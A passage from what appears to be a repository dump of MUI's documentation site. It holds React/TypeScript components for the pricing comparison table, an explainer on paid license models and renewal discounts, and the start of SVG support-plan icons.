'charts/candlestick': toBeDefined,\n  'charts/large-dataset': toBeDefined,\n  // charts - features\n  'charts/legend': yes,\n  'charts/tooltip': yes,\n  'charts/zoom-and-pan': yes,\n  'charts/export': yes,\n  // charts - datagrid\n  'charts/cell-with-charts': yes,\n  'charts/filter-interaction': pending,\n  'charts/selection-interaction': pending,\n  // Tree View\n  'tree-view/simple-tree-view': yes,\n  'tree-view/rich-tree-view': yes,\n  'tree-view/selection': yes,\n  'tree-view/multi-selection': yes,\n  'tree-view/inline-editing': yes,\n  'tree-view/drag-to-reorder': yes,\n  'tree-view/virtualization': pending,\n  // general\n  'mui-x-production': yes,\n  'mui-x-development': <Info value=\"1 year\" />,\n  'mui-x-development-perpetual': <Info value=\"Perpetual\" />,\n  'mui-x-updates': <Info value=\"1 year\" />,\n  // Support\n  'core-support': yes,\n  'x-support': <Info value={yes} metadata=\"Priority over Premium\" />,\n  'priority-support': <Info value=\"Included\" />,\n  'customer-success': yes,\n  'tech-advisory': pending,\n  'support-duration': <Info value=\"1 year\" />,\n  'response-time': <Info value={yes} metadata=\"1 business day\" />,\n  'pre-screening': <Info value={yes} metadata=\"4 hours\" />,\n  'issue-escalation': <Info value={yes} />,\n  'security-questionnaire': yes,\n};\n\nfunction RowCategory(props: BoxProps) {\n  return (\n    <Box\n      {...props}\n      sx={[\n        (theme) => ({\n          py: 1.5,\n          pl: 1.5,\n          display: 'block',\n          textTransform: 'uppercase',\n          letterSpacing: '.1rem',\n          fontWeight: theme.typography.fontWeightBold,\n          fontSize: theme.typography.pxToRem(11),\n          color: (theme.vars || theme).palette.text.tertiary,\n          borderBottom: '1px solid',\n          bgcolor: (theme.vars || theme).palette.grey[50],\n          borderColor: (theme.vars || theme).palette.grey[200],\n          ...theme.applyDarkStyles({\n            bgcolor: (theme.vars || theme).palette.primaryDark[900],\n            borderColor: (theme.vars || theme).palette.primaryDark[600],\n          }),\n        }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    />\n  );\n}\n\nfunction StickyHead({\n  container,\n  disableCalculation = false,\n}: {\n  container: React.RefObject<HTMLElement | null>;\n  disableCalculation?: boolean;\n}) {\n  const [hidden, setHidden] = React.useState(true);\n  React.useEffect(() => {\n    function handleScroll() {\n      if (container.current) {\n        const rect = container.current.getBoundingClientRect();\n        const appHeaderHeight = 64;\n        const headHeight = 41;\n        const tablePaddingTop = 40;\n        if (\n          rect.top + appHeaderHeight < 0 &&\n          rect.height + rect.top - appHeaderHeight - headHeight - tablePaddingTop > 0\n        ) {\n          setHidden(false);\n        } else {\n          setHidden(true);\n        }\n      }\n    }\n    if (!disableCalculation) {\n      document.addEventListener('scroll', handleScroll);\n      return () => {\n        document.removeEventListener('scroll', handleScroll);\n      };\n    }\n    return () => {};\n  }, [container, disableCalculation]);\n  return (\n    <Box\n      sx={[\n        (theme) => ({\n          position: 'fixed',\n          zIndex: 10,\n          top: 56,\n          left: 0,\n          right: 0,\n          transition: '0.3s',\n          ...(hidden && {\n            opacity: 0,\n            top: 0,\n          }),\n          py: 1,\n          display: { xs: 'none', md: 'block' },\n          backdropFilter: 'blur(20px)',\n          boxShadow: `inset 0px -1px 1px ${(theme.vars || theme).palette.grey[100]}`,\n          backgroundColor: 'rgba(255,255,255,0.72)',\n        }),\n        (theme) =>\n          theme.applyDarkStyles({\n            boxShadow: `inset 0px -1px 1px ${(theme.vars || theme).palette.primaryDark[700]}`,\n            backgroundColor: alpha(theme.palette.primaryDark[900], 0.7),\n          }),\n      ]}\n    >\n      <Container\n        sx={{\n          display: 'grid',\n          gridTemplateColumns: `minmax(160px, 1fr) repeat(4, minmax(240px, 1fr))`,\n        }}\n      >\n        <Typography variant=\"body2\" sx={{ fontWeight: 'bold', px: 2, py: 1 }}>\n          Plans\n        </Typography>\n        {(['community', 'pro', 'premium', 'enterprise'] as const).map((plan) => (\n          <Box key={plan} sx={{ px: 2, py: 1 }}>\n            <PlanNameTable plan={plan} disableDescription />\n          </Box>\n        ))}\n      </Container>\n    </Box>\n  );\n}\n\nconst divider = <Divider />;\n\nfunction renderMasterRow(key: string, gridSx: object, plans: Array<any>) {\n  return (\n    <Box\n      sx={[\n        gridSx,\n        (theme) => ({\n          '&:hover > div': {\n            bgcolor: alpha(theme.palette.grey[50], 0.4),\n          },\n          ...theme.applyDarkStyles({\n            '&:hover > div': {\n              bgcolor: theme.palette.primaryDark[800],\n            },\n          }),\n        }),\n      ]}\n    >\n      {rowHeaders[key]}\n      {plans.map((id, index) => (\n        <Cell key={id} highlighted={index % 2 === 1}>\n          {id === 'community' && communityData[key]}\n          {id === 'pro' && proData[key]}\n          {id === 'premium' && premiumData[key]}\n          {id === 'enterprise' && enterpriseData[key]}\n        </Cell>\n      ))}\n    </Box>\n  );\n}\n\nfunction PricingTableDevelopment(props: any) {\n  const { renderRow } = props;\n  const { licenseModel } = useLicenseModel();\n\n  return licenseModel === 'annual'\n    ? renderRow('mui-x-development')\n    : renderRow('mui-x-development-perpetual');\n}\n\nconst StyledCollapse = styled(Collapse, {\n  name: 'MuiSlider',\n  slot: 'Track',\n})(({ theme }) => {\n  return {\n    position: 'relative',\n    marginLeft: theme.spacing(1.5),\n    borderLeftWidth: '2px',\n    borderLeftStyle: 'solid',\n    borderColor: theme.palette.grey[100],\n    ...theme.applyDarkStyles({\n      borderColor: theme.palette.primaryDark[700],\n    }),\n  };\n});\n\nexport default function PricingTable({\n  columnHeaderHidden,\n  plans = ['community', 'pro', 'premium', 'enterprise'],\n  ...props\n}: BoxProps & {\n  columnHeaderHidden?: boolean;\n  plans?: Array<'community' | 'pro' | 'premium' | 'enterprise'>;\n}) {\n  const router = useRouter();\n  const [dataGridCollapsed, setDataGridCollapsed] = React.useState(false);\n  const [chartsCollapsed, setChartsCollapsed] = React.useState(false);\n  const [treeViewCollapsed, setTreeViewCollapsed] = React.useState(false);\n\n  React.useEffect(() => {\n    if (router.query['expand-path'] === 'all') {\n      setDataGridCollapsed(true);\n      setChartsCollapsed(true);\n      setTreeViewCollapsed(true);\n    }\n  }, [router.query]);\n\n  const tableRef = React.useRef<HTMLDivElement>(null);\n  const gridSx = {\n    display: 'grid',\n    gridTemplateColumns: {\n      xs: `minmax(120px, 0.8fr) repeat(${plans.length}, minmax(160px, 1fr))`,\n      sm: `minmax(140px, 0.8fr) repeat(${plans.length}, minmax(180px, 1fr))`,\n      md: `minmax(140px, 0.7fr) repeat(${plans.length}, minmax(${\n        columnHeaderHidden ? '0px' : '160px'\n      }, 1fr))`,\n      lg: `minmax(160px, 1fr) repeat(${plans.length}, minmax(${\n        columnHeaderHidden ? '0px' : '200px'\n      }, 1fr))`,\n    },\n  };\n  const nestedGridSx = {\n    ...gridSx,\n    // Hack to keep nested grid aligned with others\n    ml: '-14px',\n    '&>div:first-of-type': {\n      ml: '14px',\n      width: 'calc(100% - 14px)', // avoid overflow on hover transparent background\n    },\n  };\n\n  const dataGridUnfoldMore = (\n    <UnfoldMoreRounded\n      fontSize=\"small\"\n      sx={{ color: 'grey.600', opacity: dataGridCollapsed ? 0 : 1 }}\n    />\n  );\n\n  const chartsUnfoldMore = (\n    <UnfoldMoreRounded\n      fontSize=\"small\"\n      sx={{ color: 'grey.600', opacity: chartsCollapsed ? 0 : 1 }}\n    />\n  );\n  const treeViewUnfoldMore = (\n    <UnfoldMoreRounded\n      fontSize=\"small\"\n      sx={{ color: 'grey.600', opacity: treeViewCollapsed ? 0 : 1 }}\n    />\n  );\n\n  const renderRow = (key: string) => renderMasterRow(key, gridSx, plans);\n  const renderNestedRow = (key: string) => renderMasterRow(key, nestedGridSx, plans);\n\n  return (\n    <ThemeProvider theme={transitionTheme}>\n      <Box ref={tableRef} {...props} sx={{ pt: 8, width: '100%', contain: 'paint', ...props.sx }}>\n        <StickyHead container={tableRef} disableCalculation={columnHeaderHidden} />\n        {!columnHeaderHidden && (\n          <Box sx={gridSx}>\n            <Typography variant=\"body2\" sx={{ fontWeight: 'bold', p: 2 }}>\n              Plans\n            </Typography>\n            <Box sx={{ display: 'flex', flexDirection: 'column', p: 2, pt: 1.5 }}>\n              <PlanNameTable plan=\"community\" />\n            </Box>\n            <ColumnHeadHighlight>\n              <PlanNameTable plan=\"pro\" />\n            </ColumnHeadHighlight>\n            <Box sx={{ display: 'flex', flexDirection: 'column', p: 2, pt: 1.5 }}>\n              <PlanNameTable plan=\"premium\" />\n            </Box>\n            <ColumnHeadHighlight>\n              <PlanNameTable plan=\"enterprise\" />\n            </ColumnHeadHighlight>\n          </Box>\n        )}\n        <RowHead startIcon={<IconImage name=\"product-core\" width={28} height={28} />}>\n          MUI Core (open-source)\n        </RowHead>\n        {renderRow('Base UI')}\n        {divider}\n        {renderRow('Material UI')}\n        {divider}\n        {renderRow('Joy UI')}\n        {divider}\n        {renderRow('MUI System')}\n        <RowHead startIcon={<IconImage name=\"product-advanced\" width={28} height={28} />}>\n          MUI X (open-core)\n        </RowHead>\n        <Box\n          sx={{\n            position: 'relative',\n            minHeight: 58,\n            '& svg': { transition: '0.3s' },\n            '&:hover svg': { color: 'primary.main' },\n            ...gridSx,\n          }}\n        >\n          <Cell />\n          <Cell sx={{ minHeight: 60 }}>{dataGridUnfoldMore}</Cell>\n          <Cell highlighted sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {dataGridUnfoldMore}\n          </Cell>\n          <Cell sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {dataGridUnfoldMore}\n          </Cell>\n          <Cell highlighted sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {dataGridUnfoldMore}\n          </Cell>\n          <Button\n            fullWidth\n            onClick={() => setDataGridCollapsed((bool) => !bool)}\n            endIcon={\n              <KeyboardArrowRightRounded\n                color=\"primary\"\n                sx={{ transform: dataGridCollapsed ? 'rotate(-90deg)' : 'rotate(90deg)' }}\n              />\n            }\n            sx={[\n              (theme) => ({\n                px: 1,\n                justifyContent: 'flex-start',\n                fontSize: '0.875rem',\n                fontWeight: 'medium',\n                borderRadius: '0px',\n                position: 'absolute',\n                left: 0,\n                top: 0,\n                width: '100%',\n                height: '100%',\n                '&:hover': {\n                  bgcolor: alpha(theme.palette.primary.main, 0.06),\n                  '@media (hover: none)': {\n                    bgcolor: 'initial',\n                  },\n                },\n              }),\n              (theme) =>\n                theme.applyDarkStyles({\n                  '&:hover': {\n                    bgcolor: alpha(theme.palette.primary.main, 0.06),\n                  },\n                }),\n            ]}\n          >\n            Data Grid\n          </Button>\n        </Box>\n        <StyledCollapse in={dataGridCollapsed}>\n          <RowCategory>Column features</RowCategory>\n          {renderNestedRow('data-grid/column-groups')}\n          {divider}\n          {renderNestedRow('data-grid/column-spanning')}\n          {divider}\n          {renderNestedRow('data-grid/column-resizing')}\n          {divider}\n          {renderNestedRow('data-grid/column-autosizing')}\n          {divider}\n          {renderNestedRow('data-grid/column-reorder')}\n          {divider}\n          {renderNestedRow('data-grid/column-pinning')}\n          {divider}\n          <RowCategory>Row features</RowCategory>\n          {renderNestedRow('data-grid/row-height')}\n          {divider}\n          {renderNestedRow('data-grid/row-spanning')}\n          {divider}\n          {renderNestedRow('data-grid/row-reordering')}\n          {divider}\n          {renderNestedRow('data-grid/row-pinning')}\n          {divider}\n          <RowCategory>Selection features</RowCategory>\n          {renderNestedRow('data-grid/row-selection')}\n          {divider}\n          {renderNestedRow('data-grid/row-multiselection')}\n          {divider}\n          {renderNestedRow('data-grid/row-cell-selection')}\n          {divider}\n          <RowCategory>Filtering features</RowCategory>\n          {renderNestedRow('data-grid/filter-column')}\n          {divider}\n          {renderNestedRow('data-grid/filter-quick')}\n          {divider}\n          {renderNestedRow('data-grid/header-filters')}\n          {divider}\n          {renderNestedRow('data-grid/filter-multicolumn')}\n          {divider}\n          <RowCategory>Sorting</RowCategory>\n          {renderNestedRow('data-grid/column-sorting')}\n          {divider}\n          {renderNestedRow('data-grid/multi-column-sorting')}\n          {divider}\n          <RowCategory>Pagination features</RowCategory>\n          {renderNestedRow('data-grid/pagination')}\n          {divider}\n          {renderNestedRow('data-grid/pagination-large')}\n          {divider}\n          <RowCategory>Editing features</RowCategory>\n          {renderNestedRow('data-grid/edit-row')}\n          {divider}\n          {renderNestedRow('data-grid/edit-cell')}\n          {divider}\n          <RowCategory>Import & export</RowCategory>\n          {renderNestedRow('data-grid/file-csv')}\n          {divider}\n          {renderNestedRow('data-grid/file-print')}\n          {divider}\n          {renderNestedRow('data-grid/file-clipboard-copy')}\n          {divider}\n          {renderNestedRow('data-grid/file-clipboard-paste')}\n          {divider}\n          {renderNestedRow('data-grid/file-excel')}\n          {divider}\n          <RowCategory>Rendering features</RowCategory>\n          {renderNestedRow('data-grid/customizable-components')}\n          {divider}\n          {renderNestedRow('data-grid/virtualize-column')}\n          {divider}\n          {renderNestedRow('data-grid/virtualize-row')}\n          {divider}\n          <RowCategory>Group & pivot</RowCategory>\n          {renderNestedRow('data-grid/tree-data')}\n          {divider}\n          {renderNestedRow('data-grid/master-detail')}\n          {divider}\n          {renderNestedRow('data-grid/grouping')}\n          {divider}\n          {renderNestedRow('data-grid/aggregation')}\n          {divider}\n          {renderNestedRow('data-grid/pivoting')}\n          {divider}\n          <RowCategory>Miscellaneous</RowCategory>\n          {renderNestedRow('data-grid/accessibility')}\n          {divider}\n          {renderNestedRow('data-grid/keyboard-nav')}\n          {divider}\n          {renderNestedRow('data-grid/localization')}\n        </StyledCollapse>\n        {divider}\n        {renderRow('date-picker/simple')}\n        {divider}\n        {renderRow('date-picker/range')}\n        {divider}\n        <Box\n          sx={{\n            position: 'relative',\n            minHeight: 58,\n            '& svg': { transition: '0.3s' },\n            '&:hover svg': { color: 'primary.main' },\n            ...gridSx,\n          }}\n        >\n          <Cell />\n          <Cell sx={{ minHeight: 60 }}>{chartsUnfoldMore}</Cell>\n          <Cell highlighted sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {chartsUnfoldMore}\n          </Cell>\n          <Cell sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {chartsUnfoldMore}\n          </Cell>\n          <Cell highlighted sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {chartsUnfoldMore}\n          </Cell>\n          <Button\n            fullWidth\n            onClick={() => setChartsCollapsed((bool) => !bool)}\n            endIcon={\n              <KeyboardArrowRightRounded\n                color=\"primary\"\n                sx={{ transform: chartsCollapsed ? 'rotate(-90deg)' : 'rotate(90deg)' }}\n              />\n            }\n            sx={[\n              (theme) => ({\n                px: 1,\n                justifyContent: 'flex-start',\n                fontSize: '0.875rem',\n                fontWeight: 'medium',\n                borderRadius: '0px',\n                position: 'absolute',\n                left: 0,\n                top: 0,\n                width: '100%',\n                height: '100%',\n                '&:hover': {\n                  bgcolor: alpha(theme.palette.primary.main, 0.06),\n                  '@media (hover: none)': {\n                    bgcolor: 'initial',\n                  },\n                },\n              }),\n              (theme) =>\n                theme.applyDarkStyles({\n                  '&:hover': {\n                    bgcolor: alpha(theme.palette.primary.main, 0.06),\n                  },\n                }),\n            ]}\n          >\n            Charts\n          </Button>\n        </Box>\n        <StyledCollapse in={chartsCollapsed}>\n          <RowCategory>Components</RowCategory>\n          {renderNestedRow('charts/line')}\n          {divider}\n          {renderNestedRow('charts/bar')}\n          {divider}\n          {renderNestedRow('charts/scatter')}\n          {divider}\n          {renderNestedRow('charts/pie')}\n          {divider}\n          {renderNestedRow('charts/sparkline')}\n          {divider}\n          {renderNestedRow('charts/gauge')}\n          {divider}\n          {renderNestedRow('charts/radar')}\n          {divider}\n          {renderNestedRow('charts/heatmap')}\n          {divider}\n          {renderNestedRow('charts/funnel')}\n          {divider}\n          {renderNestedRow('charts/sankey')}\n          {divider}\n          {renderNestedRow('charts/treemap')}\n          {divider}\n          {renderNestedRow('charts/gantt')}\n          {divider}\n          {renderNestedRow('charts/gantt-advanced')}\n          {divider}\n          {renderNestedRow('charts/candlestick')}\n          {divider}\n          {renderNestedRow('charts/large-dataset')}\n          {divider}\n          <RowCategory>Interactions</RowCategory>\n          {renderNestedRow('charts/legend')}\n          {divider}\n          {renderNestedRow('charts/tooltip')}\n          {divider}\n          {renderNestedRow('charts/zoom-and-pan')}\n          {divider}\n          {renderNestedRow('charts/export')}\n          {divider}\n          <RowCategory>Data Grid Integration</RowCategory>\n          {renderNestedRow('charts/cell-with-charts')}\n          {divider}\n          {renderNestedRow('charts/filter-interaction')}\n          {divider}\n          {renderNestedRow('charts/selection-interaction')}\n        </StyledCollapse>\n        {divider}\n        <Box\n          sx={{\n            position: 'relative',\n            minHeight: 58,\n            '& svg': { transition: '0.3s' },\n            '&:hover svg': { color: 'primary.main' },\n            ...gridSx,\n          }}\n        >\n          <Cell />\n          <Cell sx={{ minHeight: 60 }}>{treeViewUnfoldMore}</Cell>\n          <Cell highlighted sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {treeViewUnfoldMore}\n          </Cell>\n          <Cell sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {treeViewUnfoldMore}\n          </Cell>\n          <Cell highlighted sx={{ display: { xs: 'none', md: 'flex' }, minHeight: 60 }}>\n            {treeViewUnfoldMore}\n          </Cell>\n          <Button\n            fullWidth\n            onClick={() => setTreeViewCollapsed((bool) => !bool)}\n            endIcon={\n              <KeyboardArrowRightRounded\n                color=\"primary\"\n                sx={{ transform: treeViewCollapsed ? 'rotate(-90deg)' : 'rotate(90deg)' }}\n              />\n            }\n            sx={[\n              (theme) => ({\n                px: 1,\n                justifyContent: 'flex-start',\n                fontSize: '0.875rem',\n                fontWeight: 'medium',\n                borderRadius: '0px',\n                position: 'absolute',\n                left: 0,\n                top: 0,\n                width: '100%',\n                height: '100%',\n                '&:hover': {\n                  bgcolor: alpha(theme.palette.primary.main, 0.06),\n                  '@media (hover: none)': {\n                    bgcolor: 'initial',\n                  },\n                },\n              }),\n              (theme) =>\n                theme.applyDarkStyles({\n                  '&:hover': {\n                    bgcolor: alpha(theme.palette.primary.main, 0.06),\n                  },\n                }),\n            ]}\n          >\n            Tree View\n          </Button>\n        </Box>\n        <StyledCollapse in={treeViewCollapsed}>\n          <RowCategory>Components</RowCategory>\n          {renderNestedRow('tree-view/simple-tree-view')}\n          {divider}\n          {renderNestedRow('tree-view/rich-tree-view')}\n          {divider}\n          <RowCategory>Advanced features</RowCategory>\n          {renderNestedRow('tree-view/selection')}\n          {divider}\n          {renderNestedRow('tree-view/multi-selection')}\n          {divider}\n          {renderNestedRow('tree-view/inline-editing')}\n          {divider}\n          {renderNestedRow('tree-view/drag-to-reorder')}\n          {divider}\n          {renderNestedRow('tree-view/virtualization')}\n          {divider}\n        </StyledCollapse>\n        {divider}\n        {renderRow('mui-x-production')}\n        {divider}\n        <PricingTableDevelopment renderRow={renderRow} />\n        {divider}\n        {renderRow('mui-x-updates')}\n        <RowHead startIcon={<SupportAgentIcon color=\"primary\" width={28} height={28} />}>\n          Support\n        </RowHead>\n        {renderRow('priority-support')}\n        {divider}\n        {renderRow('customer-success')}\n        {divider}\n        {renderRow('core-support')}\n        {divider}\n        {renderRow('x-support')}\n        {divider}\n        {renderRow('support-duration')}\n        {divider}\n        {renderRow('response-time')}\n        {divider}\n        {renderRow('pre-screening')}\n        {divider}\n        {renderRow('issue-escalation')}\n        {divider}\n        {renderRow('security-questionnaire')}\n        {divider}\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/PricingWhatToExpect.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport LocalOfferOutlinedIcon from '@mui/icons-material/LocalOfferOutlined';\nimport FunctionsIcon from '@mui/icons-material/Functions';\nimport AllInclusiveOutlinedIcon from '@mui/icons-material/AllInclusiveOutlined';\nimport ReplayRoundedIcon from '@mui/icons-material/ReplayRounded';\nimport AcUnitIcon from '@mui/icons-material/AcUnit';\nimport HelpOutlineOutlinedIcon from '@mui/icons-material/HelpOutlineOutlined';\nimport PriceChangeIcon from '@mui/icons-material/PriceChange';\nimport Section from 'docs/src/layouts/Section';\nimport { Link } from '@mui/docs/Link';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nexport default function PricingWhatToExpect() {\n  return (\n    <Section cozy>\n      <SectionHeadline\n        overline=\"Paid plans\"\n        title={\n          <Typography variant=\"h2\" sx={{ mt: 1, mb: 4 }}>\n            Key information about\n            <br /> <GradientText>the paid plans</GradientText>\n          </Typography>\n        }\n      />\n      <Box\n        sx={{\n          columnGap: 3,\n          columnCount: { sm: 1, md: 2, lg: 3 },\n          '& > *': {\n            breakInside: 'avoid',\n            marginBottom: 2,\n          },\n        }}\n      >\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content', gridColumn: 'span 1' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <FunctionsIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Required quantity\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            The number of developers licensed must correspond to the maximum number of concurrent\n            developers contributing changes to the front-end code of the projects that use the\n            software.\n            <br />\n            <br />\n            You can learn more about this in{' '}\n            <Link\n              target=\"_blank\"\n              rel=\"noopener\"\n              href=\"https://mui.com/legal/mui-x-eula/#required-quantity-of-licenses\"\n            >\n              the EULA\n            </Link>\n            .\n          </Typography>\n        </Paper>\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <AcUnitIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Perpetual license model\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" component=\"div\" sx={{ color: 'text.secondary' }}>\n            The Perpetual license model offers the right to keep using your licensed versions\n            forever in production and development. It comes with 12 months of maintenance (free\n            updates & support).\n            <br />\n            <br />\n            Upon expiration, you can renew your maintenance plan with a discount that depends on\n            when you renew:\n            <ul>\n              <li>before the support expires: 50% discount</li>\n              <li>up to 60 days after the support has expired: 35% discount</li>\n              <li>more than 60 days after the support has expired: 15% discount</li>\n            </ul>\n          </Typography>\n        </Paper>\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <AllInclusiveOutlinedIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Perpetual vs. Annual license model\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            On both license models, any version released before the end of your license term is\n            forever available for applications deployed in production.\n            <br />\n            <br />\n            The difference regards the right to use the components for <strong>\n              development\n            </strong>{' '}\n            purposes. Only the perpetual license model allows you to continue development once your\n            license expires.\n          </Typography>\n        </Paper>\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <ReplayRoundedIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Annual license model\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            The Annual license model requires an active license to use the software in development.\n            You will need to renew your license if you wish to continue active development after\n            your current license term expires.\n            <br />\n            <br />\n            The license is perpetual in production so you {\"don't\"} need to renew your license if\n            you have stopped active development with the commercial components.\n            <br />\n            <br />\n            You can learn more about this in{' '}\n            <Link\n              target=\"_blank\"\n              rel=\"noopener\"\n              href=\"https://mui.com/legal/mui-x-eula/#annual-license\"\n            >\n              the EULA\n            </Link>\n            .\n          </Typography>\n        </Paper>\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <HelpOutlineOutlinedIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Maintenance and support\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            With your purchase, you receive support and access to new versions for the duration of\n            your subscription. You can{' '}\n            <Link href=\"https://mui.com/x/introduction/support/#technical-support\">\n              learn more about support\n            </Link>{' '}\n            in the docs.\n            <br />\n            <br />\n            Note that, except for critical issues, such as security flaws, we release bug fixes and\n            other improvements on top of the latest version, instead of patching older versions.\n          </Typography>\n        </Paper>\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <LocalOfferOutlinedIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Volume discounts\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            Have a team of 25 or more developers? Get in touch with our{' '}\n            <Link href=\"mailto:sales@mui.com\">sales team</Link> for a volume discount.\n          </Typography>\n        </Paper>\n        <Paper variant=\"outlined\" sx={{ p: 2, height: 'fit-content' }}>\n          <Box sx={{ display: 'flex', alignItems: 'center', gap: 1, mb: 1 }}>\n            <PriceChangeIcon fontSize=\"small\" color=\"primary\" />\n            <Typography\n              component=\"h3\"\n              variant=\"body2\"\n              sx={{ fontWeight: 'bold', color: 'text.primary' }}\n            >\n              Price increases\n            </Typography>\n          </Box>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n            To continue providing the best service, MUI may implement an annual price increase of up\n            to 7% at the time of renewal.\n          </Typography>\n        </Paper>\n      </Box>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/pricing/SupportIcons.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function ProSupportIcon({ idPrefix = '' }: { idPrefix?: string }) {\n  const gradientId = `${idPrefix}pro-gradient`;\n  return (\n    <SvgIcon inheritViewBox>\n      <path\n        d=\"M10.92 12.75L12 11.93L13.07 12.74C13.46 13.03 13.99 12.66 13.85 12.19L13.43 10.83L14.63 9.88C15 9.6 14.79 9 14.31 9H12.91L12.48 7.66C12.33 7.2 11.68 7.2 11.53 7.66L11.09 9H9.68C9.21 9 9 9.6 9.37 9.89L10.56 10.84L10.14 12.2C10 12.67 10.53 13.04 10.92 12.75ZM6 21.61C6 22.29 6.67 22.77 7.32 22.56L12 21L16.68 22.56C17.33 22.78 18 22.3 18 21.61V15.28C19.24 13.87 20 12.03 20 10C20 5.58 16.42 2 12 2C7.58 2 4 5.58 4 10C4 12.03 4.76 13.87 6 15.28V21.61ZM12 4C15.31 4 18 6.69 18 10C18 13.31 15.31 16 12 16C8.69 16 6 13.31 6 10C6 6.69 8.69 4 12 4Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M10.92 12.75L12 11.93L13.07 12.74C13.46 13.03 13.99 12.66 13.85 12.19L13.43 10.83L14.63 9.88C15 9.6 14.79 9 14.31 9H12.91L12.48 7.66C12.33 7.2 11.68 7.2 11.53 7.66L11.09 9H9.68C9.21 9 9 9.6 9.37 9.89L10.56 10.84L10.14 12.2C10 12.67 10.53 13.04 10.92 12.75ZM6 21.61C6 22.29 6.67 22.77 7.32 22.56L12 21L16.68 22.56C17.33 22.78 18 22.3 18 21.61V15.28C19.24 13.87 20 12.03 20 10C20 5.58 16.42 2 12 2C7.58 2 4 5.58 4 10C4 12.03 4.76 13.87 6 15.28V21.61ZM12 4C15.31 4 18 6.69 18 10C18 13.31 15.31 16 12 16C8.69 16 6 13.31 6 10C6 6.69 8.69 4 12 4Z\"\n        fill={`url(#${gradientId})`}\n        fillOpacity=\"0.8\"\n      />\n      <defs>\n        <linearGradient\n          id={gradientId}\n          x1=\"6.53333\"\n          y1=\"4.92031\"\n          x2=\"21.1146\"\n          y2=\"18.9651\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#B6947E\" />\n          <stop offset=\"0.2\" stopColor=\"#8F6959\" />\n          <stop offset=\"0.475\" stopColor=\"#F8DAC8\" />\n          <stop offset=\"0.67\" stopColor=\"#AC836E\" />\n          <stop offset=\"0.83\" stopColor=\"#B6947E\" />\n          <stop offset=\"1\" stopColor=\"#F8DCCB\" />\n        </linearGradient>\n      </defs>\n    </SvgIcon>\n  );\n}\n\nexport function PremiumSupportIcon({ idPrefix = '' }: { idPrefix?: string }) {\n  const gradientId = `${idPrefix}premium-gradient`;\n  return (\n    <SvgIcon inheritViewBox>\n      <path\n        d=\"M10.92 13.125L12 12.305L13.07 13.115C13.46 13.405 13.99 13.035 13.85 12.565L13.43 11.205L14.63 10.255C15 9.975 14.79 9.375 14.31 9.375H12.91L12.48 8.035C12.33 7.575 11.68 7.575 11.53 8.035L11.09 9.375H9.68C9.21 9.375 9 9.975 9.37 10.265L10.56 11.215L10.14 12.575C10 13.045 10.53 13.415 10.92 13.125ZM6 21.985C6 22.665 6.67 23.145 7.32 22.935L12 21.375L16.68 22.935C17.33 23.155 18 22.675 18 